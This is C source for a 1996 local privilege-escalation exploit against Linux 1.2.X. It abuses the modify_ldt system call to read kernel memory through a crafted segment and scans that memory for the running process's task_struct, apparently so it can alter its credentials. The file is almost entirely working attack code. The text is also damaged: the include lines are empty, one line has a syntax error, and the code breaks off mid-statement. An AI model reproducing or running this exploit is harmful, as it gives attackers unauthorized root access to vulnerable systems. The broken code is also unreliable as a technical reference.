/* ** ** SYSTEMS AFFECTED ** linux 1.2.X ** */ #include #include #include #include #include #define __KERNEL__ #include _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount) #define KERNEL_BASE 0xC0000000 #define PAGE_STEP 0x1000 static __inline__ unsigned char __farpeek (int seg, unsigned ofs) { unsigned char res; asm ("mov %w1,%%gs ; gs; movb (%2),%%al" : "=a" (res) : "r" (seg), "r" (ofs)); return res; } static __inline__ void __farpoke (int seg, unsigned ofs, unsigned char b) { asm ("mov %w0,%%gs ; gs; movb %b2,(%1)" : /* No results. */ : "r" (seg), "r" (ofs), "r" (b)); } sigjmp_buf memgetjmp; void memchkseg (int seg, const void *src ) { if ( sigsetjmp ( memgetjmp, 1 ) == 0 ) { __farpeek (seg, (unsigned)(src)); } } void memgetseg (void *dst, int seg, const void *src, int size) { while (size-- > 0) *(char *)dst++ = __farpeek (seg, (unsigned)(src++)); } void memputseg (int seg, void *dst, const void *src, int size) { while (size-- > 0) __farpoke (seg, (unsigned)(dst++), *(char *)src++); } #define KERNEL_DATA_SEGMENT 7 static int iSEGV = 1; void SEGVHandler ( int iSignal ) { iSEGV = 1; siglongjmp ( memgetjmp, 1 ); } void FillTaskStruct ( char *pcTaskStruct, long lAddress ) { int iCounter = sizeof ( struct task_struct ); while ( iCounter-- > 0 ) { *pcTaskStruct++ = __farpeek ( KERNEL_DATA_SEGMENT, lAddress++ ); } } static int iMyPPID; static int iMyUID; static int iMyGID; int CheckTaskStruct ( struct task_struct *sTaskStruct ) { if ( sTaskStruct->pid == iMyPPID && sTaskStruct->euid == iMyUID && sTaskStruct->egid == iMyGID ) { return ( 1 ); } else { return ( 0 ); } } int main ( int argc, char **argv ) { char cMessage[39] = "PMCsExploit! (c) 1996. pmc@asgard.hr\n"; struct modify_ldt_ldt_s sLDTEntry; struct sigaction sSEGVAction; long lStartAddress = KERNEL_BASE; long lCheckAddress = 0x00000000; long lAreaStart = 0x00000000; long lAreaEnd = 0x00000000; long lAreaLength = 0x00000000; long lTaskAddress = 0x00000000; int iRunning = 1; char cOneChar = '\0'; struct task_struct sTaskStruct; iMyPPID = getppid (); iMyUID = getuid (); iMyGID = getgid (); printf ( cMessage ); printf ( "First let's see if this little joke could be done ?\n" ); sLDTEntry.entry_number = 0; sLDTEntry.base_addr = 0x00000000; sLDTEntry.limit = 1; sLDTEntry.seg_32bit = 1; sLDTEntry..contents = MODIFY_LDT_CONTENTS_STACK; sLDTEntry.read_exec_only = 0; sLDTEntry.limit_in_pages = 0; sLDTEntry.seg_not_present = 0; if ( modify_ldt ( 1, &sLDTEntry, sizeof ( sLDTEntry ) ) ) { printf ( ":(\n" ); return ( -1 ); } sSEGVAction.sa_handler = SEGVHandler; sSEGVAction.sa_flags = SA_RESTART; sigemptyset ( &sSEGVAction.sa_mask ); lCheckAddress = lStartAddress + PAGE_STEP; while ( lCheckAddress != lStartAddress ) { iSEGV = 0; sigaction ( SIGSEGV, &sSEGVAction, NULL ); memchkseg ( KERNEL_DATA_SEGMENT, ( void *) lCheckAddress ); if ( iSEGV ) { iSEGV = 1; while ( iSEGV ) { iSEGV = 0; sigaction ( SIGSEGV, &sSEGVAction, NULL ); memchkseg ( KERNEL_DATA_SEGMENT, (void *) lCheckAddress ); lCheckAddress += PAGE_STEP; } } else { lCheckAddress += PAGE_STEP; } lAreaStart = lCheckAddress - PAGE_STEP; while ( ! iSEGV ) { memchkseg ( KERNEL_DATA_SEGMENT, (void *) lCheckAddress ); lCheckAddress += PAGE_STEP; } lAreaEnd = lCheckAddress - PAGE_STEP; lAreaLength = lAreaEnd - lAreaStart; if ( lAreaLength